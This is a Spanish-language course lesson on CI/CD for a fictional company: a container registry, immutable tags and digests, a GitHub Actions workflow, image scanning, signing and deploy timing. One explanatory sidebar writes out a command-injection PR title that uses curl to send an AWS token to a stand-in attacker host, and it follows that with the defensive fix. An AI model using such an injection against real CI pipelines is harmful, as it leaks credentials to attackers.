SenseiTeoría desde cero0/59

12 · Estaciones · ContenedorLección 2 de 2

CI/CD y registro de imágenes

CI/CD and the image registry

El octavo paso del sistema de Alba de principio a fin: el workflow que prueba cada PR, arma la imagen del gateway una sola vez por commit, la guarda en un registro donde ningún nombre se reusa y lleva su digest hasta producción, con una persona que aprueba y una vuelta atrás que tarda segundos.

⏱ 59 min lo esencial · 76 min todo17 conceptos nuevos2 calculadoras12 ejerciciosContenedor
Secciones14
  1. 01Lo que entra, lo que sale y lo que se decide
  2. 02El registro: dónde vive cada imagen, y cuánto
  3. 03Nombres que no se reusan: tags inmutables y el digest
  4. 04El workflow del gateway, job por job
  5. 05El job imagen y el camino de 17.5 minutos
  6. 06Del digest al clúster: GitOps, aprobación y la paridad de punta a punta
  7. 07El workflow del modelo: triton-modelo en la T4 extra
  8. 08Credenciales sin llaves: OIDC y la trust policy extra
  9. 09Errores comunes
  10. 10En la vida real extra
  11. 11Ejercicios
  12. 12Lo que sigue
  13. 13Palabras que vas a oír
  14. 14Chequeo
La pregunta

Un cambio al gateway de Alba se acaba de juntar a main. ¿Qué tiene que pasar, solo y en orden, para que unos 18 minutos después corra en producción exactamente la imagen que se probó, y para que volver a la anterior no exija reconstruir nada?

Alba es la empresa que seguimos en todo el curso: un marketplace en línea que recibe ≈ 2.5 millones de publicaciones nuevas al día, con ≈ 3 fotos cada una, y sugiere la categoría de cada foto entre 500. La sugerencia la da una ResNet-50 servida con Triton en 2 GPUs T4, una por zona. Todo corre en AWS, la nube de Amazon, sobre Kubernetes: el sistema que reparte y vigila programas en un grupo de máquinas, el clúster. Delante de Triton está el gateway, un programa en Python que recibe la foto de Ana, una vendedora que publica, y la prepara; corre en 3 a 12 copias, sin GPU. Lo cuida un equipo de ML de 5 personas.

Esta lección es una estación: un paso del sistema contado como trabajo de ingeniería completo. Las dos anteriores dejaron las piezas listas. «Código de serving» escribió el gateway y sus 26 pruebas; «Empaquetado con Docker» escribió sus dos recetas, el Dockerfile del gateway (una imagen de ≈ 87 MB) y el de Triton (≈ 9.2 GB, con el engine adentro: el modelo compilado para la T4).

En la lección «Pruebas y CI/CD» viste qué son CI y CD, el runner y los ambientes, y el workflow del gateway (el archivo que le dice a GitHub qué correr) quedó a medias a propósito: «aquí falta subir la imagen a un registro». Esta lección empieza justo ahí. No vuelve a explicar qué es CI: cuenta el caso concreto de Alba, archivo por archivo y minuto por minuto.

01

Lo que entra, lo que sale y lo que se decide

Esencial

In, out and what gets decided

Lo que entra

  • Un commit en main: una versión nueva del código que llega a main, la rama principal del repositorio alba/classifier. O, antes, un pull request (PR) que propone ese cambio; cuando se aprueba, un merge lo junta a main.
  • El código del gateway en la carpeta gateway/, con sus 26 pruebas, que corren contra un Triton falso, sin GPU.
  • Las dos recetas: el Dockerfile del gateway y el de Triton.
  • Para el modelo, aparte: la versión 14 del registro de modelos, resnet50-2026-10-01, con su engine. El pipeline mensual, el proceso que reentrena el modelo cada mes, la dejó como challenger: la candidata que todavía no atiende a nadie. La lección «Export, engine y paridad» cuenta cómo se hizo el engine.

Lo que sale

  • La imagen del gateway en el registro, classifier-gateway:3f9c2ab, probada, escaneada y firmada, con su digest (sha256:…).
  • La imagen de Triton, classifier-triton:resnet50-2026-10-01, solo cuando hay un modelo nuevo. La arma otro workflow, triton-modelo, que corre por botón una vez al mes en la máquina con T4; lo cuenta la sección extra «El workflow del modelo».
  • El reporte de las pruebas, cuando algo falla.
  • La paridad de punta a punta en verde: la prueba de que 20 fotos, mandadas por el gateway real con el Triton real, reciben la misma respuesta que con la versión aprobada.
  • Un cambio en el repositorio de despliegue, un repositorio aparte que dice qué imagen corre en cada ambiente, para pedir ese digest: primero en staging, el ambiente de ensayo, y después en producción.

Lo que se decide

  1. 1

    Qué corre en cada PR y qué solo en main

    Las pruebas, en cada PR; la imagen y todo lo que sigue, solo después del merge.

  2. 2

    Dónde vive cada imagen y cuánto

    Dos repositorios en el registro, con nombres que no se reusan y una regla de retención.

  3. 3

    Cómo se llama cada imagen

    El gateway, por su commit; Triton, por la versión del modelo.

  4. 4

    Cómo llega el digest al despliegue y quién aprueba

    Por un cambio en Git, con una persona que no hizo el cambio.

  5. 5

    En qué máquina corre cada job

    Las de GitHub para casi todo; una propia con T4 para lo que necesita la GPU.

Y lo que la estación no decide: si el modelo es bueno (eso lo decidió el gate, el examen automático del modelo), cómo se arma la imagen (la receta es de «Empaquetado con Docker») ni qué hace Kubernetes con ella (lo cuentan «Kubernetes» y «Rollout seguro»).

Del PR a producción: los dos workflows de Alba y el registro en medio · La estación completa: lo que corre en un PR, lo que corre después del merge y el camino aparte del modelo. Toca cada caja; los recorridos siguen un PR, un merge y un modelo nuevo.
  • Un PR o un merge · al código del gateway
    Lo que dispara gateway.yml: cada PR y cada push a main. El workflow no filtra por carpetas, para que el check obligatorio siempre reporte.
  • lint y pruebas · a la vez · ≈ 2 min
    Dos jobs a la vez en runners de GitHub: ruff y mypy (≈ 1 min) y las 26 pruebas con un Triton falso (≈ 2 min). En un PR, aquí termina todo.
  • imagen · build · humo · escaneo · push
    Solo después del merge. Construye para linux/amd64, prueba un contenedor, saca el SBOM y escanea; si hay un CVE crítico con parche, falla antes del push. Sube, firma el digest y lo deja como salida. ≈ 2 min.
  • triton-modelo · por botón · runner T4
    El otro workflow, una vez al mes: baja el engine de la versión 14, verifica su sha256, arma la imagen de Triton, comprueba que queda lista y la sube como classifier-triton:resnet50-2026-10-01.
  • paridad de punta a punta · 20 fotos · runner T4 · ≈ 5 min
    En el runner propio con T4: el gateway de ese digest y el Triton real responden las 20 fotos de referencia. Top-1 igual y scores a ≤ 0.01. Prender la máquina y bajar las imágenes tarda ≈ 4 min; el examen, ≈ 1 min.
  • ECR · 2 repositorios · tags inmutables
    classifier-gateway y classifier-triton, con tags inmutables, escaneo al subir y retención: las últimas 200 del gateway y 12 de Triton.
  • staging · classifier-staging · humo
    El job staging cambia la línea image: en el repositorio de despliegue; Argo CD la aplica en el namespace classifier-staging, con su propia T4, y corre la prueba de humo. ≈ 3.5 min.
  • Una persona aprueba · environment produccion
    El environment produccion exige que apruebe alguien del equipo de ML que no hizo el cambio. Es la única espera humana del camino.
  • producción · mismo digest · ≈ 5 min
    El mismo digest que pasó por staging, sin reconstruir: promoción. Las copias se reemplazan una por una, sin apagar el servicio.
02

El registro: dónde vive cada imagen, y cuánto

Esencial

The registry: where each image lives, and for how long

Un job de CI, un trabajo del pipeline como «correr las pruebas», corre en una máquina que se borra al terminar. La imagen que construyó se borraría con ella. Necesita un lugar fijo, al que todos los nodos (las máquinas del clúster) puedan pedirla. Ese lugar es un registro de imágenes (container registry): un almacén de imágenes con nombre, al que se sube una imagen (push) y del que se baja (pull).

Un registro guarda las capas de una imagen por separado, cada una con su huella (lo viste en «Empaquetado con Docker»), y una lista que dice qué capas forman cada imagen. Si dos imágenes comparten una capa, se guarda una vez; al subir, solo viajan las que el registro no tiene.

Alba usa Amazon ECR (Elastic Container Registry), el registro de AWS, en us-east-1, la misma región del clúster. Para servir tiene dos repositorios, uno por programa (la imagen de entrenamiento vive en otro):

RepositorioQué guardaCada cuánto llega una
classifier-gatewayel gateway, ≈ 87 MBcon cada merge a main: ≈ 3 a 5 al día
classifier-tritonTriton con el engine horneado, ≈ 9.2 GBcon cada modelo nuevo: 1 al mes

La dirección completa de una imagen es 123456789012.dkr.ecr.us-east-1.amazonaws.com/classifier-gateway:3f9c2ab: la cuenta de AWS (de juguete), el registro, el repositorio y el tag. Los nodos llegan a ECR por endpoints privados, caminos de la red de Alba que no salen a internet (los cuenta «Redes en la nube»).

Un registro serio aporta más que espacio:

  • Quién entra. Solo quien tiene permiso de IAM, el sistema de permisos de AWS, sube o baja. El job de CI sube; los nodos solo bajan.
  • Tags inmutables. Un nombre, una vez usado, no se puede volver a usar. Lo ves en la sección siguiente.
  • Escaneo al subir. ECR revisa cada imagen nueva contra la lista pública de vulnerabilidades conocidas: fallas de seguridad ya descubiertas en paquetes de software. Es una segunda red de seguridad: la primera corre antes, en el job de CI.
  • Retención. Una regla que borra lo viejo, para que el repositorio no crezca para siempre.
Para ir más hondoQué viaja en un push

Con las capas y el manifest de «Empaquetado con Docker» (cada capa nombrada por el sha256 de su contenido; el digest de la imagen, el sha256 del manifest), un docker push va en un orden fijo: primero las capas, al final el manifest. Por cada capa, primero pregunta si el registro ya tiene ese sha256; si lo tiene, no la manda. Luego sube el manifest, y el registro responde con su digest. Por eso subir el gateway después de un cambio de código manda ≈ 48 KB y no 87 MB.

El pull es al revés: pide el manifest por tag o por digest, revisa qué capas le faltan y baja solo esas. Si pidió por digest, comprueba que el sha256 del manifest que recibió sea el que pidió: un registro que le diera otro contenido quedaría descubierto. Y cada capa también se comprueba contra su propio sha256.

Cuánto vive cada imagen

Una política de retención (lifecycle policy) es la regla del repositorio que dice qué imágenes se borran solas. La de Alba tiene tres partes: las imágenes sin tag, restos que nadie puede pedir por nombre, se borran al día; del gateway se guardan las últimas 200; de Triton, las últimas 12, un año de modelos.

¿Por qué contar imágenes y no días? Porque la regla no sabe qué imagen corre en producción. Una regla de «borra lo de más de 30 días» borraría la versión estable si nadie despliega en un mes, y con ella tu rollback: la vuelta a la versión anterior. Contando, la que corre y la anterior siempre están entre las últimas, mientras el número alcance para cubrir el tiempo que puedes necesitarlas.

Cuántos días cubre la retención y cuánto ocupa
d=Nm
S=A+N×δ
Sentera=N×(A+δ)
Cecr=S×pGB
donde
N
cuántas imágenes guarda la regla
m
cuántas imágenes nuevas llegan al día (en el gateway, los merges a main)
d
cuántos días hacia atrás alcanza la lista, en días
A
el tamaño de las capas que comparten todas las imágenes del repositorio, en MB o GB
δ
el tamaño de la capa propia de cada imagen, la que cambia, en las mismas unidades que A
S
lo que ocupa el repositorio con capas compartidas, en las unidades de A; para calcular Cecr, en GB
Sentera
lo que ocuparía si cada imagen se guardara entera, sin compartir capas, en las mismas unidades
pGB
el precio de guardar un GB durante un mes, en US$ por GB
Cecr
lo que cuesta guardarlo al mes en ECR, en US$

La segunda línea es la que sorprende; la tercera es la comparación. En el gateway, la base y el entorno de Python (43 + 44 = 87 MB) solo cambian cuando cambian las dependencias; un cambio de código agrega una capa de ≈ 48 KB. Doscientas imágenes no son 200 × 87 MB.

La retención de AlbaLa cuenta
Días que cubre el gateway, dN = 200 imágenes, m = 3 a 5 merges al día
N÷m = 200 ÷ 5 y 200 ÷ 3
≈ 40 a 67 días
Capas compartidas del gateway, Abase python:3.13-slim + entorno, de «Empaquetado con Docker»
43 + 44
87 MB
Repositorio del gateway, Sδ = 0.048 MB, la capa del código
A+N×δ = 87 + 200 × 0.048
≈ 97 MB
Si cada imagen se guardara entera, Senterasin capas compartidas
N×(A+δ) = 200 × 87.048 MB
≈ 17.4 GB
Repositorio de Triton, Sδ ≈ 0.1 GB, la capa del engine (de 50 a 150 MB); A = la imagen de ≈ 9.2 GB menos su engine, 9.2 − 0.1 = 9.1 GB; N = 12
A+N×δ = 9.1 + 12 × 0.1
≈ 10.3 GB
Lo que cuesta guardar los dos, CecrpGB ≈ US$0.10 por GB al mes, el precio de lista de ECR en noviembre de 2026; Sgw del gateway + Str de Triton, en GB (97 MB = 0.097 GB)
(Sgw+Str)×pGB = (0.097 + 10.3) × 0.10
≈ US$1 al mes
Resultado
Guardar un año de modelos y dos meses de gateways cuesta ≈ US$1 al mes, porque casi todo son capas repetidas. La retención no está para ahorrar: está para que la lista no crezca sin fin y para que el rollback siempre encuentre su imagen.
El repositorio classifier-gateway con 200 imágenes. Todas comparten dos capas guardadas una sola vez: la base python:3.13-slim de 43 MB y el entorno de Python de 44 MB. Cada imagen agrega solo su capa de código, de 48 KB. Si cada imagen se guardara entera, serían 200 por 87 MB, unos 17.4 GB; con capas compartidas son unos 97 MB. CLASSIFIER-GATEWAY · 200 IMÁGENES base python:3.13-slim 43 MB · una vez entorno de Python (/opt/venv) 44 MB · una vez … 1 2 3 4 3f9c2ab una capa de código de 48 KB por imagen SI CADA IMAGEN SE GUARDARA ENTERA 200 × 87 MB ≈ 17.4 GB CON CAPAS COMPARTIDAS 87 + 200 × 0.048 ≈ 97 MB A escala: la barra verde mide 1/180 de la naranja.
Doscientas imágenes del gateway en el registro: comparten la base y el entorno, y cada una agrega solo su capa de código.

Ojo con la cuenta de Triton: supone que los 12 modelos usan la misma release de Triton, la misma versión publicada por NVIDIA. Si a mitad del año se cambia la base a otra release, las imágenes de antes y las de después ya no comparten esos ≈ 9 GB, y el repositorio casi se duplica. Sigue costando poco.

Cuánto cubre y cuánto ocupa la retenciónCalculadora

Aplica las ecuaciones de la lección: d=N÷m, los días que alcanza la lista; S=A+N×δ, lo que ocupa el repositorio con capas compartidas; Sentera=N×(A+δ), lo que ocuparía sin compartirlas; y Cecr=S×pGB, lo que cuesta guardarlo. Arranca con el gateway de Alba (el precio por GB es el de lista de ECR en noviembre de 2026).

Días que cubre la lista, dd=N÷m50
Lo que ocupa el repositorio, S, en MBS=A+N×δ96.6
Si cada imagen se guardara entera, Sentera, en MBSentera=N×(A+δ)17,410
Cuántas veces menos ocupa con capas compartidas, Sentera÷S180×
Lo que cuesta guardarlo al mes, CecrCecr=S×pGB, en US$, con S en GB0.01

Para Triton pon N = 12, m = 0.033 (uno al mes), A = 9100 y δ = 100: ≈ 10,300 MB. Los 200 y los 12 son la regla de Alba; los 3 a 5 merges al día, su ritmo.

Empieza con el gateway y m = 4, el medio de 3 a 5 merges al día: la lista alcanza 50 días. Baja m a 1 merge al día: la lista alcanza 200 días. Luego pon δ = 87, como si cada imagen cambiara también sus dependencias: así se ve un repositorio donde nada se comparte.

03

Nombres que no se reusan: tags inmutables y el digest

Esencial

Names that are never reused: immutable tags and the digest

En «Empaquetado con Docker» viste los dos nombres de una imagen. El tag es una etiqueta legible, 3f9c2ab, que una persona escoge. El digest es la huella sha256 del contenido: si cambia un byte, cambia el digest. Un tag es un letrero que apunta a un digest, y en casi todos los registros, por omisión, el letrero se puede mover.

Cómo se llama cada imagen en Alba

  • El gateway: los 7 primeros caracteres del identificador del commit que la produjo, classifier-gateway:3f9c2ab. Con ese nombre, git show 3f9c2ab, el comando de Git que enseña un commit, muestra el código exacto.
  • Triton: la versión del modelo, classifier-triton:resnet50-2026-10-01. El código de Triton no cambia; lo que cambia es el engine.
  • Nunca :latest. Ese tag, por costumbre, apunta a lo último que alguien subió. Tiene tres problemas: no dice qué código es, cambia de contenido sin avisar, y dos nodos que lo bajan con una hora de diferencia pueden correr cosas distintas.

El tag que no se mueve

Un tag inmutable (tag immutability) es una opción del repositorio: si un tag ya existe, el registro rechaza cualquier push nuevo con ese nombre. En ECR no viene prendida; Alba la prende en los dos repositorios de servir. Desde ese momento, 3f9c2ab nombra un solo contenido para siempre.

¿No bastaría con no reusar los tags? Mira qué pasa cuando alguien reconstruye. El código de abajo es un registro de juguete: guarda tags y contenidos como un registro real. El lunes se sube una imagen; el martes alguien reconstruye el mismo commit y la sube con el mismo tag. Una reconstrucción casi nunca da los mismos bytes: cambian fechas dentro de la imagen, y a veces un paquete de la base.

Python
import hashlib

def digest(contenido):                      # la huella del contenido (aquí, sus 12 primeros caracteres)
    return "sha256:" + hashlib.sha256(contenido).hexdigest()[:12]

class Registro:                             # un registro de juguete: tags y contenidos
    def __init__(self, inmutable):
        self.inmutable, self.tags, self.blobs = inmutable, {}, {}
    def push(self, tag, contenido):
        d = digest(contenido)
        if self.inmutable and self.tags.get(tag, d) != d:
            return f"push {tag}: RECHAZADO, ese tag ya nombra otro contenido"
        self.tags[tag], self.blobs[d] = d, contenido
        return f"push {tag} → {d}"
    def pull(self, nombre):                 # por tag o por digest
        return self.blobs[self.tags.get(nombre, nombre)].decode()

for inmutable in (False, True):
    ecr = Registro(inmutable)
    print("Tags inmutables:" if inmutable else "Tags que se pueden pisar:")
    print("  lunes ", ecr.push("3f9c2ab", b"imagen del lunes"))
    probado = ecr.tags["3f9c2ab"]           # el digest que se probó en staging
    print("  martes", ecr.push("3f9c2ab", b"la misma, reconstruida el martes"))
    print("  pull por tag:   ", ecr.pull("3f9c2ab"))
    print("  pull por digest:", ecr.pull(probado))
Salida
Tags que se pueden pisar:
  lunes  push 3f9c2ab → sha256:7beccf91096f
  martes push 3f9c2ab → sha256:9e7f53bf11c9
  pull por tag:    la misma, reconstruida el martes
  pull por digest: imagen del lunes
Tags inmutables:
  lunes  push 3f9c2ab → sha256:7beccf91096f
  martes push 3f9c2ab: RECHAZADO, ese tag ya nombra otro contenido
  pull por tag:    imagen del lunes
  pull por digest: imagen del lunes

Con tags que se pisan, el mismo nombre ya da otra cosa: lo que se probó el lunes no es lo que baja un nodo el martes. Con tags inmutables, el segundo push falla y el nombre sigue diciendo la verdad. Fíjate en la última línea de cada bloque: por digest, siempre baja lo del lunes, haya o no inmutabilidad. Por eso Alba usa los dos: el tag para que lo lea una persona, el digest para fijar lo que corre.

El mismo tag, 3f9c2ab, en dos registros. Arriba, con tags que se pueden mover: el lunes apunta a la imagen sha256:7bec, la que se probó; el martes alguien reconstruye y el tag pasa a apuntar a sha256:9e7f, que nadie probó, y un nodo que baja por tag recibe esa. Abajo, con tags inmutables: el tag sigue apuntando a sha256:7bec y el push del martes se rechaza. En los dos casos, bajar por digest da la imagen del lunes. TAG QUE SE PUEDE MOVER 3f9c2ab sha256:7bec… LUNES · PROBADA sha256:9e7f… MARTES · SIN PROBAR antes ahora Un nodo que baja «3f9c2ab» recibe la del martes. TAG INMUTABLE 3f9c2ab sha256:7bec… LUNES · PROBADA push del martes RECHAZADO El nombre sigue diciendo la verdad. EN LOS DOS CASOS bajar por digest da la imagen del lunes
Arriba, un tag que se puede mover: el martes apunta a otro contenido y el nodo baja algo que nadie probó. Abajo, con tags inmutables, el registro rechaza el segundo push.

Construir una vez y promover

De ahí sale la regla central de la estación: la imagen se construye una sola vez, en CI, y lo que avanza de una etapa a la siguiente es su digest. A eso se le dice promover una imagen (build once, promote): staging y producción corren el mismo sha256:…, sin reconstruir nada. Lo que cambia entre ambientes es la configuración (por ejemplo, a qué Triton le habla el gateway), nunca la imagen. Y el rollback es volver a pedir el digest anterior, que sigue en el registro gracias a la retención.

04

El workflow del gateway, job por job

Esencial

The gateway workflow, job by job

Un workflow de GitHub Actions, el servicio de CI de GitHub, es un archivo YAML en .github/workflows/ que dice qué hacer, cuándo y en qué máquina. El de Alba se llama gateway.yml. Se arma con jobs: cada job corre en su propio runner limpio y tiene sus pasos (steps) en orden. needs hace que un job espere a otros, e if decide si un job corre.

El de Alba hace dos cosas distintas según qué lo dispara:

  • En cada PR: lint (ruff y mypy, dos linters que revisan el código sin correrlo) y pruebas (las 26), a la vez. Nada más. Ninguna imagen se publica desde un PR.
  • En cada merge a main: lo mismo, y después, uno tras otro, imagen (build, prueba de humo, escaneo, push y firma), paridad (en el runner con T4), staging y produccion, que espera a que una persona apruebe.

¿Por qué no publicar desde el PR? Porque en un PR el commit que prueba GitHub no es el tuyo: es un merge de prueba de tu rama con main, que no existe en ninguna rama. Una imagen con ese nombre no la explicaría ningún commit. Y un PR puede venir de cualquiera; un merge a main ya pasó por revisión.

Este es el workflow, recortado a lo que importa. Es una ilustración: solo corre dentro de GitHub, y los pasos de lint y pruebas son los de «Pruebas y CI/CD». Las líneas uses: traen acciones: pasos ya hechos por otros, como «entrar a AWS». Las de terceros se fijan por el identificador completo de su commit, para que nadie pueda cambiarlas por debajo, como pide «Ataques y cadena de suministro»; aquí se abrevia como @<sha>.

YAML
# .github/workflows/gateway.yml (ilustración)
on:
  pull_request:                       # cada PR, sin filtro de carpetas (ver abajo)
  push:
    branches: [main]
permissions:
  contents: read                      # lo mínimo: leer el código
env:
  REPO: 123456789012.dkr.ecr.us-east-1.amazonaws.com/classifier-gateway

jobs:
  lint:    { runs-on: ubuntu-24.04, timeout-minutes: 10, steps: … }   # ruff y mypy
  pruebas: { runs-on: ubuntu-24.04, timeout-minutes: 10, steps: … }   # las 26

  imagen:
    needs: [lint, pruebas]
    if: github.event_name == 'push'    # solo después del merge a main
    runs-on: ubuntu-24.04
    timeout-minutes: 20
    permissions: { contents: read, id-token: write }   # id-token: para OIDC
    outputs:
      digest: ${{ steps.push.outputs.digest }}          # lo que sale del job
    steps:
      - uses: actions/checkout@v7
      - uses: aws-actions/configure-aws-credentials@<sha>   # credenciales por OIDC
        with:
          role-to-assume: arn:aws:iam::123456789012:role/gha-classifier-gateway
          aws-region: us-east-1
      - uses: aws-actions/amazon-ecr-login@<sha>
      - uses: docker/setup-buildx-action@<sha>
      - run: echo "TAG=${GITHUB_SHA::7}" >> "$GITHUB_ENV"   # TAG=3f9c2ab, para los pasos de abajo
      - uses: docker/build-push-action@<sha>
        with:
          context: gateway
          platforms: linux/amd64
          load: true                   # la deja en la máquina; todavía no la sube
          tags: ${{ env.REPO }}:${{ env.TAG }}
          cache-from: type=gha
          cache-to: type=gha,mode=max
      - run: ./ci/humo.sh && ./ci/sbom_y_escaneo.sh    # si algo falla, no hay push
      - id: push
        run: ./ci/push.sh             # sube y escribe digest=sha256:… en $GITHUB_OUTPUT
      - run: cosign sign --yes "$REPO@${{ steps.push.outputs.digest }}"   # firma ese digest

  paridad:
    needs: imagen
    runs-on: [self-hosted, linux, x64, gpu-t4]
    timeout-minutes: 15
    steps: …                           # las 20 fotos por el gateway de ese digest

  staging:
    needs: [imagen, paridad]
    steps: …                           # cambio en el repo de despliegue + humo

  produccion:
    needs: [imagen, staging]
    environment: produccion            # espera a que una persona apruebe
    concurrency: { group: deploy-gateway-produccion, cancel-in-progress: false }
    steps: …

Para leerlo: ${{ … }} es un hueco que GitHub llena con un valor antes de correr el paso; run: es un comando de la terminal; runs-on dice en qué máquina corre el job, y timeout-minutes, cuánto puede tardar antes de que GitHub lo detenga. Con eso, tres cosas se ven ahí. needs arma la cadena: un job en rojo detiene todo lo que sigue. if separa el PR del merge. Y outputs saca el digest del job imagen para que los de abajo lo lean como needs.imagen.outputs.digest. La sección siguiente abre ese job.

Permisos: lo mínimo, y un permiso más donde hace falta

Cada job recibe un token de GitHub, una contraseña temporal, para tocar el repositorio. Los permisos del workflow (permissions) dicen qué puede hacer: arriba, para todos, solo contents: read. El job imagen agrega uno, id-token: write, que no deja escribir nada en el repositorio: deja pedir un token de identidad para entrar a AWS sin llaves guardadas. En este recorte, ningún otro job lo pide; un job que también tuviera que entrar a AWS lo pediría para él, con su propio rol de AWS. Cómo funciona lo cuenta la sección extra «Credenciales sin llaves».

El check obligatorio y la trampa de las carpetas

En el repositorio de Alba, una regla de la rama main dice que un PR no se puede juntar si pruebas no está en verde. Eso es un check obligatorio (required status check). Sin él, el rojo del PR sería un consejo.

El workflow de «Pruebas y CI/CD» filtraba con paths: ["gateway/**"], para correr solo si el PR tocaba el gateway. Con un check obligatorio, eso atora: un PR que solo cambia model_repository/classifier/config.pbtxt, la configuración de Triton, no dispara el workflow, pruebas nunca reporta, y el PR se queda para siempre en «esperando el resultado». Por eso el de Alba corre en todos los PR. Si se quisiera saltar trabajo, la condición iría en un if del job: un job saltado por if cuenta como aprobado; uno que nunca arrancó, no.

Para ir más hondoUn título de PR que se vuelve comando

GitHub sustituye cada ${{ … }} en el texto del paso antes de correrlo. Si un paso dice run: echo "${{ github.event.pull_request.title }}", el título del PR se pega dentro del comando. Un PR titulado x"; curl https://atacante.example/$AWS_TOKEN; echo " convierte el echo en tres comandos, y el segundo, curl (un comando que hace una request por HTTP), manda lo que haya en esa variable a otro servidor. Es una inyección: un texto que viene de fuera y termina corriendo como código, de la misma familia que la inyección de prompt de «Ataques y cadena de suministro».

La forma segura es pasar el texto como variable de entorno, env: { TITULO: ${{ github.event.pull_request.title }} }, y usar "$TITULO" en el comando: la terminal lo trata como texto, no como código. La regla general: nada que escriba alguien de fuera (títulos, nombres de rama, comentarios) va directo dentro de un run:.

05

El job imagen y el camino de 17.5 minutos

Esencial

The image job and the 17.5-minute path

El job imagen es el corazón de la estación. Hace seis cosas, en este orden, y el orden importa:

  1. 1

    Entra a AWS

    Le pide a GitHub un token de identidad, un papel firmado que dice qué job es, y lo cambia por credenciales de un rol (una identidad de AWS con permisos fijos) que vencen solas en una hora. Luego entra a ECR con ellas.

  2. 2

    Construye

    Arma la imagen para linux/amd64, la plataforma de los nodos de Alba. El runner de GitHub ya es Linux x64, el mismo tipo de procesador, así que no hay que imitar otro (emulación), que haría el build mucho más lento. La imagen queda en la máquina, todavía sin subir.

  3. 3

    Prueba de humo

    Prende un contenedor de esa imagen con un Triton falso: /healthz, el endpoint que dice «estoy vivo», responde 200 (todo bien) y un POST /v1/classify regresa categorías. Es la prueba de humo de «Pruebas y CI/CD», ahora contra la imagen real.

  4. 4

    SBOM y escaneo

    Lista lo que trae la imagen (su SBOM) y lo escanea. Si encuentra un CVE (una vulnerabilidad conocida, con su número) crítico que ya tiene parche, el job falla antes del push.

  5. 5

    Push y digest

    Sube la imagen con el tag de 7 caracteres. ECR responde con el digest, y el paso lo escribe como salida del job.

  6. 6

    Firma

    Firma ese digest con la identidad del job, sin llave guardada. Al desplegar, la política de admisión del clúster, la regla que revisa cada imagen antes de dejarla correr, rechaza lo que no tenga esa firma.

Los controles de la cadena de suministro ya los viste en «Ataques y cadena de suministro»; aquí está en qué paso corre cada uno. Escanear antes del push significa que una imagen con un CVE crítico nunca llega al registro. Firmar después del push significa que se firma el digest que el registro guardó, no otro.

Para ir más hondoCuando el escaneo falla

El escaneo no falla por cualquier hallazgo. La regla de Alba: falla con un CVE crítico que ya tiene parche. Uno sin parche no se arregla subiendo una versión, y bloquear por él dejaría al equipo sin poder publicar nada. Cuando falla, hay dos salidas: actualizar el paquete o la base en un PR, que vuelve a pasar por todo el pipeline, o registrar una excepción: un archivo en el repositorio que nombra el CVE, explica por qué no aplica y tiene fecha de vencimiento. La excepción pasa por revisión como cualquier cambio. Y si el registro tiene prendido el escaneo continuo de ECR (el escaneo «mejorado», que hace Amazon Inspector y se paga aparte), que vuelve a revisar lo que ya guardó, un CVE que se descubre después del push también aparece, aunque la imagen ya esté en producción.

El digest viaja como salida del job

Cuando el job imagen termina, su máquina se borra. Lo único que sobrevive para los jobs de abajo son sus salidas (outputs): textos cortos que un paso escribe en un archivo especial, $GITHUB_OUTPUT, y que el job declara en outputs. El paso push escribe una línea, digest=sha256:…, y desde ahí paridad, staging y produccion usan ese valor, no el tag. Así es imposible que un job de abajo despliegue algo distinto de lo que imagen probó y escaneó.

Cuánto tarda, del merge a producción

Los tiempos de cada job son supuestos del equipo de Alba. La regla para sumarlos es la de «Pruebas y CI/CD»: lo que corre a la vez cuenta solo lo que tarda el más lento; lo que corre uno tras otro se suma.

Del merge a producción
tCI=max(tlint,tpruebas)+timg+tpush
ttotal=tCI+tpar+tstg+tprod
donde
tlint
los minutos del job lint
tpruebas
los minutos del job pruebas, que corre a la vez que lint
max(a,b)
el mayor de los dos números; de dos jobs que corren a la vez, cuenta el más lento
timg
los minutos de construir la imagen y probarla (humo y escaneo)
tpush
los minutos de subirla al registro
tCI
los minutos del merge a la imagen lista en el registro
tpar
los minutos de la paridad de punta a punta
tstg
los minutos de desplegar en staging (stg) con su prueba de humo
tprod
los minutos de desplegar en producción (prod), de copia en copia
ttotal
los minutos del merge a producción, sin contar la espera de la aprobación
Del merge a producción: el gateway de AlbaLa cuenta
Lint, tlintruff y mypy; supuesto del equipo
—
≈ 1 min
Pruebas, tpruebaslas 26, a la vez que lint; supuesto del equipo
—
≈ 2 min
Imagen, timgel build desde cero, de 30 a 60 s según «Empaquetado con Docker», más humo y escaneo; supuesto del equipo
—
≈ 1 min
Push, tpushsolo las capas nuevas; supuesto del equipo
—
≈ 1 min
Merge a imagen en ECR, tCI
max(tlint,tpruebas)+timg+tpush = max(1, 2) + 1 + 1
≈ 4 min
Paridad, tparprender la T4 y bajar las imágenes, ≈ 4 min, y las 20 fotos, ≈ 1 min; supuesto del equipo
4 + 1
≈ 5 min
Staging, tstg≈ 3 min de copias nuevas + ≈ 30 s (0.5 min) de humo; supuesto del equipo
3 + 0.5
≈ 3.5 min
Producción, tprodde copia en copia, sin apagar el servicio; supuesto del equipo
—
≈ 5 min
Total, ttotal
tCI+tpar+tstg+tprod = 4 + 5 + 3.5 + 5
≈ 17.5 min
Resultado
Unos 17.5 minutos del merge a producción, más lo que tarde la persona en aprobar. Son 5 minutos más que los ≈ 12.5 de «Pruebas y CI/CD»: el push que ahí faltaba y los ≈ 4 minutos de prender la T4, que ahí no se sumaban porque la paridad contaba solo su examen.
Línea de tiempo del gateway de Alba, en minutos desde el merge. Lint de 0 a 1 y pruebas de 0 a 2, a la vez. Imagen de 2 a 3. Push de 3 a 4: la imagen está en ECR a los 4 minutos. Paridad de 4 a 9: unos 4 minutos de prender la T4 y bajar las imágenes y 1 de examen. Staging de 9 a 12.5. Después, la espera de la aprobación, de duración variable. Producción tarda 5 minutos más: 17.5 minutos en total, sin contar la espera. DEL MERGE A PRODUCCIÓN, EN MINUTOS 0 4 8 12 16 lint pruebas imagen push paridad arranque staging aprobación espera producción ECR: 4 min ≈ 17.5 min + la aprobación lint y pruebas cuentan como 2; prender la T4, ≈ 4; staging y producción, 8.5 de los 17.5 minutos.
Los jobs del gateway en una línea de tiempo: lint y pruebas a la vez, y lo demás uno tras otro. La espera de la aprobación va entre staging y producción.

Fíjate dónde está el tiempo: ≈ 8.5 de los 17.5 minutos son desplegar (tstg+tprod = 3.5 + 5), y ≈ 4 más son prender la T4 y bajar las imágenes. Acelerar las pruebas un minuto cambia poco; lo que alarga de verdad el camino es la espera de la aprobación, que puede ser de minutos o de horas.

Para ir más hondoLa caché en una máquina que se borra

